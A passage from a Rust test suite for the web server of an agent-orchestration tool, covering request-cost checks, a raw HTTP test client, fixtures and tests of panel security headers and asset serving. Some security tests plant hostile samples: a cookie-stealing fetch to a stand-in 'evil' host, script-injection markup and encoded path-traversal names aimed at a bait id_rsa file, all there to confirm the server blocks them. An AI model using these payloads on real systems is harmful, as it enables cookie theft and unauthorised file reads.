10865                // bounds first-request cost instead of only warmed requests.
10866                for repo in &repos {
10867                    let cache = repo.join(".git/magi/config");
10868                    if cache.exists() {
10869                        std::fs::remove_dir_all(cache).unwrap();
10870                    }
10871                }
10872                let cost = request_counts(&fx.get(path).await);
10873                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10874                assert_eq!(cost.0, discoveries, "{path}, N={n}");
10875                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10876                costs.push(cost);
10877            }
10878            if let Some(previous) = previous {
10879                assert_eq!(costs, previous);
10880            }
10881            previous = Some(costs);
10882        }
10883        // runs reads shared row inputs and probes process liveness; queue
10884        // builds one blocker inventory; notifications reads its own store.
10885        // None discovers configuration or spawns git per item.
10886    }
10887
10888    /// The same handler path without transport, so the deterministic cause
10889    /// can also be checked in environments that prohibit binding sockets.
10890    #[tokio::test]
10891    async fn list_handler_cost_without_transport() {
10892        let (_tmp, repos) = performance_repositories().await;
10893        let fx = Fixture {
10894            home: TempDir::new().unwrap(),
10895            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10896        };
10897        let ui = Arc::new(
10898            Ui::new(
10899                fx.queue(),
10900                fx.questions(),
10901                fx.talks(),
10902                fx.runs(),
10903                fx.home.path().to_path_buf(),
10904                repos[0].clone(),
10905            )
10906            .with_worktrees_root(fx.home.path().join("wt")),
10907        );
10908        let mut previous = None;
10909        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10910            seed_performance(&fx, &repos, n, runs, items);
10911            let mut costs = Vec::new();
10912            for endpoint in ["questions", "talks", "health", "stats"] {
10913                for repo in &repos {
10914                    let cache = repo.join(".git/magi/config");
10915                    if cache.exists() {
10916                        std::fs::remove_dir_all(cache).unwrap();
10917                    }
10918                }
10919                let (_, cost) = request_cost::measure(async {
10920                    match endpoint {
10921                        "questions" => {
10922                            let _ = questions_list(State(ui.clone())).await.unwrap();
10923                        }
10924                        "talks" => {
10925                            let _ = talks_list(
10926                                State(ui.clone()),
10927                                Query(ListQuery {
10928                                    limit: None,
10929                                    ids: None,
10930                                }),
10931                            )
10932                            .await
10933                            .unwrap();
10934                        }
10935                        "health" => {
10936                            let _ = health(State(ui.clone())).await.unwrap();
10937                        }
10938                        _ => {
10939                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10940                                .await
10941                                .unwrap();
10942                        }
10943                    }
10944                })
10945                .await;
10946                eprintln!("{endpoint} handler N={n}: {cost:?}");
10947                assert_eq!(
10948                    cost.0,
10949                    if endpoint == "talks" { 2 } else { 1 },
10950                    "{endpoint}"
10951                );
10952                assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10953                costs.push(cost);
10954            }
10955            if let Some(previous) = previous {
10956                assert_eq!(costs, previous);
10957            }
10958            previous = Some(costs);
10959        }
10960    }
10961
10962    #[tokio::test]
10963    async fn list_request_cost_scopes_do_not_mix() {
10964        let (_tmp, repos, fx) = performance_fixture().await;
10965        seed_performance(&fx, &repos, 10, 0, 10);
10966        let (questions, talks, notices) = tokio::join!(
10967            fx.get("/api/questions"),
10968            fx.get("/api/talks"),
10969            fx.get("/api/notifications")
10970        );
10971        assert_eq!(request_counts(&questions).0, 1);
10972        assert_eq!(request_counts(&talks).0, 2);
10973        assert_eq!(request_counts(&notices), (0, 0));
10974    }
10975
10976    #[tokio::test]
10977    async fn list_endpoints_large_home_responses() {
10978        check_large_home_endpoints(false).await;
10979    }
10980
10981    #[tokio::test]
10982    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
10983    async fn list_endpoints_large_home_ceiling() {
10984        check_large_home_endpoints(true).await;
10985    }
10986
10987    async fn check_large_home_endpoints(timed: bool) {
10988        let (_tmp, repos, fx) = performance_fixture().await;
10989        seed_performance(&fx, &repos, 200, 300, 400);
10990        let mut failures = Vec::new();
10991        // app.js boot/change loads plus the initial dashboard, settings and
10992        // repo picker. SSE is a persistent stream, not a bounded GET.
10993        for path in [
10994            "/",
10995            "/app.js",
10996            "/app.css",
10997            "/api/questions",
10998            "/api/runs?limit=300",
10999            "/api/queue",
11000            "/api/talks",
11001            "/api/notifications",
11002            "/api/health",
11003            "/api/stats",
11004            "/api/loop",
11005            "/api/settings",
11006            "/api/repos",
11007        ] {
11008            let start = std::time::Instant::now();
11009            let result = if timed {
11010                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11011            } else {
11012                Ok(fx.get(path).await)
11013            };
11014            let elapsed = start.elapsed();
11015            eprintln!("{path}: {elapsed:?}");
11016            match result {
11017                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11018                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11019                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11020            }
11021        }
11022        assert!(failures.is_empty(), "{}", failures.join("\n"));
11023    }
11024
11025    struct Res {
11026        status: u16,
11027        headers: String,
11028        /// The header block with its original casing, for the assertions that
11029        /// compare a header *value* rather than looking for a name. Lowercasing
11030        /// a CSP would hide a directive spelled with a capital letter, and the
11031        /// whole point of that test is that the string is exactly right.
11032        head: String,
11033        body: String,
11034        /// The body before any UTF-8 handling, for the routes that serve
11035        /// something other than text. A panel asset is a PNG as often as not,
11036        /// and `from_utf8_lossy` would silently replace half of it.
11037        bytes: Vec<u8>,
11038    }
11039
11040    impl Res {
11041        fn json(&self) -> Value {
11042            serde_json::from_str(&self.body)
11043                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
11044        }
11045
11046        /// One header's value verbatim, or `None` when it was not sent.
11047        fn header(&self, name: &str) -> Option<&str> {
11048            self.head.lines().find_map(|line| {
11049                let (key, value) = line.split_once(':')?;
11050                key.trim()
11051                    .eq_ignore_ascii_case(name)
11052                    .then(|| value.trim_start().trim_end_matches('\r'))
11053            })
11054        }
11055    }
11056
11057    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
11058    /// be read to end-of-stream without parsing framing.
11059    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
11060        request_with(addr, method, path, body, &[]).await
11061    }
11062
11063    /// As [`request`], with extra request headers - conditional GETs need
11064    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
11065    /// worse than one that sets none.
11066    async fn request_with(
11067        addr: SocketAddr,
11068        method: &str,
11069        path: &str,
11070        body: Option<&str>,
11071        extra: &[(&str, &str)],
11072    ) -> Res {
11073        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11074        for (name, value) in extra {
11075            head.push_str(&format!("{name}: {value}\r\n"));
11076        }
11077        if let Some(body) = body {
11078            head.push_str("Content-Type: application/json\r\n");
11079            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
11080        }
11081        head.push_str("\r\n");
11082        if let Some(body) = body {
11083            head.push_str(body);
11084        }
11085        let mut socket = tokio::net::TcpStream::connect(addr)
11086            .await
11087            .expect("connect to the test server");
11088        socket
11089            .write_all(head.as_bytes())
11090            .await
11091            .expect("write request");
11092        let mut raw = Vec::new();
11093        socket.read_to_end(&mut raw).await.expect("read response");
11094        // Split on the raw bytes rather than on a lossy string, so a binary
11095        // body survives to be compared byte for byte.
11096        let split = raw
11097            .windows(4)
11098            .position(|w| w == b"\r\n\r\n")
11099            .expect("a header block");
11100        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11101        let bytes = raw[split + 4..].to_vec();
11102        let status = head
11103            .lines()
11104            .next()
11105            .and_then(|line| line.split_whitespace().nth(1))
11106            .and_then(|code| code.parse().ok())
11107            .expect("a status line");
11108        Res {
11109            status,
11110            headers: head.to_lowercase(),
11111            head,
11112            body: String::from_utf8_lossy(&bytes).into_owned(),
11113            bytes,
11114        }
11115    }
11116
11117    /// A `POST` carrying a raw binary body and its own headers, for the
11118    /// attachment upload route - `request_with` only ever sends
11119    /// `Content-Type: application/json`, which is wrong for an image and
11120    /// would corrupt anything not valid UTF-8 by round-tripping it through
11121    /// `&str` first.
11122    async fn request_bytes(
11123        addr: SocketAddr,
11124        path: &str,
11125        headers: &[(&str, &str)],
11126        body: &[u8],
11127    ) -> Res {
11128        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
11129        for (name, value) in headers {
11130            head.push_str(&format!("{name}: {value}\r\n"));
11131        }
11132        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
11133        let mut socket = tokio::net::TcpStream::connect(addr)
11134            .await
11135            .expect("connect to the test server");
11136        socket
11137            .write_all(head.as_bytes())
11138            .await
11139            .expect("write request head");
11140        socket.write_all(body).await.expect("write request body");
11141        let mut raw = Vec::new();
11142        socket.read_to_end(&mut raw).await.expect("read response");
11143        let split = raw
11144            .windows(4)
11145            .position(|w| w == b"\r\n\r\n")
11146            .expect("a header block");
11147        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
11148        let bytes = raw[split + 4..].to_vec();
11149        let status = head
11150            .lines()
11151            .next()
11152            .and_then(|line| line.split_whitespace().nth(1))
11153            .and_then(|code| code.parse().ok())
11154            .expect("a status line");
11155        Res {
11156            status,
11157            headers: head.to_lowercase(),
11158            head,
11159            body: String::from_utf8_lossy(&bytes).into_owned(),
11160            bytes,
11161        }
11162    }
11163
11164    /// A run on disk, without touching the process-global magi home.
11165    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
11166        let mut state = RunState::new(
11167            PathBuf::from("/repo/magi"),
11168            "main".to_owned(),
11169            "0123456789abcdef".to_owned(),
11170            "Add a web UI\n\nMobile first.".to_owned(),
11171            Config::default(),
11172        );
11173        state.id = id.to_owned();
11174        state.status = status;
11175        let dir = runs.join(id);
11176        std::fs::create_dir_all(&dir).expect("run dir");
11177        std::fs::write(
11178            dir.join("run.json"),
11179            serde_json::to_string_pretty(&state).expect("serialize run"),
11180        )
11181        .expect("write run.json");
11182    }
11183
11184    /// Same as [`write_run`], but against a named repository rather than the
11185    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
11186    /// spread across more than one.
11187    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
11188        let mut state = RunState::new(
11189            PathBuf::from(repo),
11190            "main".to_owned(),
11191            "0123456789abcdef".to_owned(),
11192            "task".to_owned(),
11193            Config::default(),
11194        );
11195        state.id = id.to_owned();
11196        state.status = status;
11197        let dir = runs.join(id);
11198        std::fs::create_dir_all(&dir).expect("run dir");
11199        std::fs::write(
11200            dir.join("run.json"),
11201            serde_json::to_string_pretty(&state).expect("serialize run"),
11202        )
11203        .expect("write run.json");
11204    }
11205
11206    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
11207        let body = serde_json::json!({
11208            "schema": 1,
11209            "pid": 4242,
11210            "started_at": Timestamp::now().to_string(),
11211            "updated_at": updated_at.to_string(),
11212            "idle": false,
11213            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
11214            "completed": 7,
11215            "polls": 143,
11216        });
11217        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
11218    }
11219
11220    /// A loop that starts, finds nothing to do, and waits to be told to stop.
11221    ///
11222    /// No test in this file may start the real loop - see [`Ui::launch`] for
11223    /// why - so this stands in for the only thing the routes need a loop to
11224    /// do: keep running until `Stop` is set, then return. A real
11225    /// `serve_until` here would resolve its queue and its status file through
11226    /// the process-global magi home, claim whatever it found in the
11227    /// operator's live backlog, overwrite the status file of the `magi serve`
11228    /// that owns it, and spend real agent quota on a real competition.
11229    fn launch_idle(
11230        _opts: daemon::Opts,
11231        stop: daemon::Stop,
11232    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11233        Box::pin(async move {
11234            while !stop.stopped() {
11235                tokio::time::sleep(Duration::from_millis(2)).await;
11236            }
11237            Ok(())
11238        })
11239    }
11240
11241    /// A loop that fails on the way up, the way one whose home has gone
11242    /// read-only does.
11243    fn launch_broken(
11244        _opts: daemon::Opts,
11245        _stop: daemon::Stop,
11246    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
11247        // The stand-in dies instantly, so a restarted one can record its own
11248        // failure before the start's response is read. The second attempt
11249        // therefore fails with a different message, to tell a stale error
11250        // from a fresh one.
11251        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
11252        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
11253        Box::pin(async move {
11254            Err(anyhow::anyhow!(if first {
11255                "publish the daemon status file: read-only file system"
11256            } else {
11257                "the restarted stand-in failed as well"
11258            }))
11259        })
11260    }
11261
11262    /// The loop view once `want` accepts it.
11263    ///
11264    /// Polled rather than asserted straight after the POST because stopping
11265    /// is deliberately not instant - that is the contract - and rather than
11266    /// slept through because a fixed wait is either flaky or slow.
11267    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
11268    /// finite, so a genuine hang fails the test instead of hanging the
11269    /// suite.
11270    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
11271        for _ in 0..SETTLE_STEPS {
11272            let view = fx.get("/api/loop").await.json();
11273            if want(&view) {
11274                return view;
11275            }
11276            tokio::time::sleep(Duration::from_millis(10)).await;
11277        }
11278        panic!(
11279            "the loop never settled: {}",
11280            fx.get("/api/loop").await.json()
11281        );
11282    }
11283
11284    /// File an open question directly in the store the server reads.
11285    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11286        let store = fx.questions();
11287        let mut q = Question::new(
11288            "20260902-000000-beef".to_owned(),
11289            "implement".to_owned(),
11290            "impl-A".to_owned(),
11291            summary.to_owned(),
11292            "because it matters".to_owned(),
11293            choices.iter().map(|c| (*c).to_owned()).collect(),
11294        );
11295        store.put(&mut q).expect("put question");
11296        q.id
11297    }
11298
11299    /// A question with a panel the server can serve, plus the named assets.
11300    ///
11301    /// Written through `Questions::put_panel` rather than by laying out the
11302    /// directory here, so these tests exercise the same on-disk shape the
11303    /// agents produce and cannot pass against a layout only the tests know.
11304    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11305        let store = fx.questions();
11306        let mut q = Question::new(
11307            "20260902-000000-beef".to_owned(),
11308            "land".to_owned(),
11309            "fix".to_owned(),
11310            "Merge this?".to_owned(),
11311            "the diff is in the panel".to_owned(),
11312            vec!["merge".to_owned(), "hold".to_owned()],
11313        );
11314        // Staged outside the questions root, because `put_panel` copies from
11315        // wherever the agent left its files.
11316        let staging = fx.home.path().join("staging");
11317        std::fs::create_dir_all(&staging).expect("staging dir");
11318        let sources: Vec<PathBuf> = assets
11319            .iter()
11320            .map(|(name, bytes)| {
11321                let path = staging.join(name);
11322                std::fs::write(&path, bytes).expect("write staged asset");
11323                path
11324            })
11325            .collect();
11326        store
11327            .put_panel(&mut q, html, &sources)
11328            .expect("write the panel");
11329        store.put(&mut q).expect("put question");
11330        q.id
11331    }
11332
11333    /// A talk on disk, without talking to a model.
11334    ///
11335    /// Written as JSON straight into the store the server reads, because the
11336    /// only constructor `talk::begin` offers takes no turn but still requires
11337    /// a real caller-visible flow. The one thing this cannot make up is the
11338    /// seat, so it is built with the real `SeatState::new` and serialized -
11339    /// the alternative, hand-writing that object, would make these tests fail
11340    /// the day the seat gains a field.
11341    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11342        seed_talk_at(&fx.talks(), id, status)
11343    }
11344
11345    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11346        std::fs::create_dir_all(store.root()).expect("talks dir");
11347        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11348            .expect("serialize a seat");
11349        let body = serde_json::json!({
11350            "schema": 1,
11351            "id": id,
11352            "repo": "/repo/magi",
11353            "agent": "mock",
11354            "status": status,
11355            "turns": [],
11356            "created_at": Timestamp::now().to_string(),
11357            "updated_at": Timestamp::now().to_string(),
11358            "seat": seat,
11359        });
11360        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11361        store.get(id).expect("the seeded talk has to be readable");
11362        id.to_owned()
11363    }
11364
11365    #[tokio::test]
11366    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11367        let fx = Fixture::start().await;
11368        let id = panel(
11369            &fx,
11370            "<h1>Merge?</h1><img src=\"diff.svg\">",
11371            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11372        );
11373
11374        for path in [
11375            format!("/api/questions/{id}/panel"),
11376            format!("/api/questions/{id}/asset/diff.svg"),
11377        ] {
11378            let res = fx.get(&path).await;
11379            assert_eq!(res.status, 200, "{path}: {}", res.body);
11380            // The whole string, not a substring. A weakened directive - an
11381            // `img-src *` that lets a panel beacon out to a remote host, a
11382            // `script-src` anything, a missing `form-action` that lets it post
11383            // the owner's decision to a third party - has to fail here, and a
11384            // `contains` assertion would let every one of those through.
11385            assert_eq!(
11386                res.header("content-security-policy"),
11387                Some(
11388                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11389                     font-src data:; base-uri 'none'; form-action 'none'; \
11390                     frame-ancestors 'self'"
11391                ),
11392                "{path} is the only thing between a hostile panel and the tailnet"
11393            );
11394            assert_eq!(
11395                res.header("x-content-type-options"),
11396                Some("nosniff"),
11397                "{path}: a browser must not re-decide the type we sent"
11398            );
11399            assert_eq!(
11400                res.header("referrer-policy"),
11401                Some("no-referrer"),
11402                "{path}: a panel must not leak the question id off the machine"
11403            );
11404
11405            // The front end mounts the frame only after a `HEAD` says the
11406            // panel is there, so `HEAD` has to answer with the same status and
11407            // the same policy as `GET` - a preflight that came back without
11408            // the CSP would mean a frame mounted on an unverified promise.
11409            let pre = fx.head(&path).await;
11410            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11411            assert_eq!(
11412                pre.header("content-security-policy"),
11413                res.header("content-security-policy"),
11414                "{path}: the preflight carries the same policy"
11415            );
11416            assert_eq!(
11417                pre.header("content-type"),
11418                res.header("content-type"),
11419                "{path}: the preflight carries the same type"
11420            );
11421        }
11422    }
11423
11424    #[tokio::test]
11425    async fn a_panel_reaches_the_browser_byte_for_byte() {
11426        let fx = Fixture::start().await;
11427        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
11428        // tag, an entity, and a multi-byte character. The sandbox is what makes
11429        // this safe, so nothing here may be rewritten on the way out - a
11430        // rewritten diff is a diff the owner cannot trust.
11431        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
11432        let id = panel(&fx, html, &[]);
11433
11434        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11435
11436        assert_eq!(res.status, 200);
11437        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11438        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11439        assert_eq!(
11440            res.header("content-disposition"),
11441            None,
11442            "the panel itself is rendered in the frame, not downloaded"
11443        );
11444    }
11445
11446    #[tokio::test]
11447    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11448        let fx = Fixture::start().await;
11449        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11450        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11451        let id = panel(
11452            &fx,
11453            "<img src=\"diff.svg\"><img src=\"shot.png\">",
11454            &[("diff.svg", svg), ("shot.png", png)],
11455        );
11456
11457        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11458        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11459
11460        assert_eq!(as_svg.status, 200);
11461        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11462        // An SVG is XML that may carry script. Inside the panel it is an
11463        // `<img src>` and the script cannot run; opened at the top level it
11464        // would be a document on magi's own origin, so the browser is told to
11465        // download it instead of rendering it.
11466        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11467
11468        assert_eq!(as_png.status, 200);
11469        assert_eq!(as_png.header("content-type"), Some("image/png"));
11470        assert_eq!(
11471            as_png.header("content-disposition"),
11472            None,
11473            "a raster image has no execution surface, so tapping it still shows it"
11474        );
11475        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11476    }
11477
11478    #[tokio::test]
11479    async fn an_html_asset_is_never_served_as_html() {
11480        let fx = Fixture::start().await;
11481        let id = panel(
11482            &fx,
11483            "<p>see the notes</p>",
11484            &[
11485                (
11486                    "notes.html",
11487                    b"<script>fetch('http://evil/'+document.cookie)</script>",
11488                ),
11489                ("hook.js", b"fetch('http://evil/')"),
11490                ("data.json", b"{}"),
11491                ("HEADLINE.TXT", b"plain"),
11492            ],
11493        );
11494
11495        for name in ["notes.html", "hook.js", "data.json"] {
11496            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11497            assert_eq!(res.status, 200, "{name}: {}", res.body);
11498            // Serving this as text/html would be a way to reach agent markup
11499            // at the top level of the operator's browser, outside the frame's
11500            // sandbox and outside its CSP - which is the whole thing the panel
11501            // design exists to prevent. Unlisted types are downloads.
11502            assert_eq!(
11503                res.header("content-type"),
11504                Some("application/octet-stream"),
11505                "{name} must not be a type the browser will execute or render"
11506            );
11507        }
11508        // The whitelist is matched case-insensitively, so an agent shouting the
11509        // extension still gets a readable file rather than a download.
11510        let txt = fx
11511            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11512            .await;
11513        assert_eq!(
11514            txt.header("content-type"),
11515            Some("text/plain; charset=utf-8")
11516        );
11517    }
11518
11519    #[tokio::test]
11520    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11521        let fx = Fixture::start().await;
11522        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11523        // Something outside the panel directory that a traversal would reach if
11524        // one got through, so a passing test is not merely "the file was
11525        // missing anyway".
11526        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11527
11528        // Decoded before this server's handler sees them: axum percent-decodes
11529        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
11530        // string with a NUL in it. All three look like ordinary single-segment
11531        // filenames to the router, so the router passes them through and
11532        // `valid_asset_name` is what refuses them - for the literal `..`, and
11533        // for `/`, `\` and NUL not being in the permitted character set.
11534        for encoded in [
11535            "%2e%2e%2fid_rsa",
11536            "..%2fid_rsa",
11537            "..%5cid_rsa",
11538            "%2e%2e%5cid_rsa",
11539            "diff%00.svg",
11540            "..",
11541            ".hidden",
11542            "%2e%2e%2f%2e%2e%2fid_rsa",
11543        ] {
11544            let res = fx
11545                .get(&format!("/api/questions/{id}/asset/{encoded}"))
11546                .await;
11547            assert_eq!(
11548                res.status, 400,
11549                "`{encoded}` has to be refused by name, not looked up: {}",
11550                res.body
11551            );
11552            assert!(res.json()["error"].is_string(), "{}", res.body);
11553        }
11554
11555        // Not decoded, and never this handler's problem: a real slash makes the
11556        // request one segment too long for `/api/questions/{id}/asset/{name}`,
11557        // so axum's router has no route to match and answers before any code
11558        // here runs. Asserted so that a future route with a wildcard segment
11559        // cannot quietly open this door.
11560        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11561            let res = fx
11562                .get(&format!("/api/questions/{id}/asset/{literal}"))
11563                .await;
11564            assert_eq!(
11565                res.status, 404,
11566                "`{literal}` must not match the asset route at all: {}",
11567                res.body
11568            );
11569        }
11570    }
11571
11572    #[tokio::test]
11573    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11574        let fx = Fixture::start().await;
11575        let plain = ask(&fx, "Which backend?", &["SQLite"]);
11576        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11577
11578        // A question nobody wrote a panel for. The client preflights with HEAD
11579        // and cannot see inside a sandboxed frame, so this must be a status and
11580        // not an empty page.
11581        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11582        assert_eq!(none.status, 404, "{}", none.body);
11583        assert!(none.json()["error"].is_string(), "{}", none.body);
11584        assert_eq!(
11585            fx.head(&format!("/api/questions/{plain}/panel"))
11586                .await
11587                .status,
11588            404,
11589            "the preflight is the only way the client can learn this"
11590        );
11591
11592        // A name that is perfectly legal and simply is not there.
11593        let missing = fx
11594            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11595            .await;
11596        assert_eq!(missing.status, 404, "{}", missing.body);
11597        assert!(missing.json()["error"].is_string(), "{}", missing.body);
11598
11599        // A question that does not exist at all, on both routes.
11600        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11601        assert_eq!(
11602            fx.get("/api/questions/nope/asset/diff.svg").await.status,
11603            404
11604        );
11605    }
11606
11607    #[tokio::test]
11608    async fn a_run_with_an_open_question_reads_as_waiting() {
11609        let fx = Fixture::start().await;
11610        let run = "20260902-000000-beef".to_owned();
11611        write_run(&fx.runs(), &run, RunStatus::Implementing);
11612
11613        let before = fx.get("/api/runs").await.json();
11614        assert_eq!(before[0]["waiting"], false, "{before}");
11615
11616        let store = fx.questions();
11617        let mut q = Question::new(
11618            run.clone(),
11619            "implement".to_owned(),
11620            "impl-A".to_owned(),
11621            "Which backend?".to_owned(),
11622            String::new(),
11623            vec!["SQLite".to_owned()],
11624        );
11625        store.put(&mut q).expect("put");
11626
11627        let during = fx.get("/api/runs").await.json();
11628        assert_eq!(during[0]["waiting"], true, "{during}");
11629
11630        // Answered: the run is moving again, and the flag has to follow without
11631        // anything having rewritten run.json.
11632        q.answer(Answer::Choice("SQLite".to_owned()))
11633            .expect("answer");
11634        store.put(&mut q).expect("put");
11635        let after = fx.get("/api/runs").await.json();
11636        assert_eq!(after[0]["waiting"], false, "{after}");
11637    }
11638
11639    #[tokio::test]
11640    async fn an_open_question_is_listed_and_counted_by_health() {
11641        let fx = Fixture::start().await;
11642        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11643
11644        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11645        let listed = fx.get("/api/questions").await.json();
11646        assert_eq!(listed.as_array().expect("array").len(), 1);
11647        assert_eq!(listed[0]["id"], id);
11648        assert_eq!(listed[0]["status"], "open");
11649        assert_eq!(listed[0]["choices"][1], "Redis");
11650        // The count is what makes the phone's indicator honest: it is the one
11651        // number meaning nothing will move until a human acts.
11652        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11653    }
11654
11655    fn obsolete_approval_state() -> RunState {
11656        let mut state = crate::land::tests::repair_state(true, true);
11657        state.pr = Some(crate::run::PrRecord {
11658            url: "https://github.com/example/repo/pull/42".into(),
11659            number: 42,
11660            state: "open".into(),
11661            checks: "green".into(),
11662            round: 1,
11663            rounds: 4,
11664            red_at_merge: Vec::new(),
11665        });
11666        state
11667    }
11668
11669    #[tokio::test]
11670    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11671        for owner in ["missing", "current", "completed", "later"] {
11672            let fx = Fixture {
11673                home: TempDir::new().unwrap(),
11674                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11675            };
11676            let mut state = obsolete_approval_state();
11677            state.status = RunStatus::Landing;
11678            state.parked = true;
11679            state.driver_exited = true;
11680            let mut q = Question::new(
11681                state.id.clone(),
11682                crate::land::APPROVAL_NODE.into(),
11683                "land".into(),
11684                "Old approval".into(),
11685                "Original evidence".into(),
11686                vec!["merge".into(), "hold".into()],
11687            );
11688            state.land_approval = Some(crate::run::LandApproval {
11689                question: q.id.clone(),
11690                head: "head".into(),
11691            });
11692            state.save_under(fx.home.path()).unwrap();
11693            let stale = state.clone();
11694            fx.questions().put(&mut q).unwrap();
11695            let mut task = Task::new(
11696                "Owner".into(),
11697                "Original instruction".into(),
11698                state.repo.clone(),
11699                Source::Human,
11700            );
11701            task.runs.push(state.id.clone());
11702            task.status = if owner == "completed" {
11703                TaskStatus::Done
11704            } else {
11705                TaskStatus::Parked
11706            };
11707            if owner == "later" {
11708                task.runs.push("later-run".into());
11709            }
11710            if owner != "missing" {
11711                fx.queue().put(&mut task).unwrap();
11712            }
11713            let ui = Arc::new(Ui::new(
11714                fx.queue(),
11715                fx.questions(),
11716                fx.talks(),
11717                fx.runs(),
11718                fx.home.path().into(),
11719                state.repo.clone(),
11720            ));
11721            let response = question_answer(
11722                State(ui),
11723                Path(q.id.clone()),
11724                Ok(Json(NewAnswer {
11725                    choice: Some(crate::merge_decision::DISMISS.into()),
11726                    text: None,
11727                    ..Default::default()
11728                })),
11729            )
11730            .await
11731            .unwrap();
11732            assert_eq!(
11733                response.0.question.resolution().as_deref(),
11734                Some(crate::merge_decision::DISMISS)
11735            );
11736            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
11737            assert_eq!(disk.status, RunStatus::Superseded);
11738            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
11739            assert!(!crate::merge_decision::resumable_hold(&disk));
11740            assert_eq!(
11741                serde_json::to_value(&disk.pr).unwrap(),
11742                serde_json::to_value(&stale.pr).unwrap()
11743            );
11744            assert_eq!(fx.questions().count_open(), 0);
11745            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
11746            crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11747            if owner == "missing" {
11748                assert!(fx.queue().list().is_empty());
11749            } else {
11750                let after = fx.queue().get(&task.id).unwrap();
11751                assert_eq!(
11752                    after.status,
11753                    if owner == "current" {
11754                        TaskStatus::Done
11755                    } else {
11756                        task.status
11757                    }
11758                );
11759                assert_eq!(after.runs, task.runs);
11760                assert_eq!(after.instruction, task.instruction);
11761                assert_eq!(after.action_applied(&q.id), owner == "current");
11762            }
11763        }
11764    }
11765
11766    #[tokio::test]
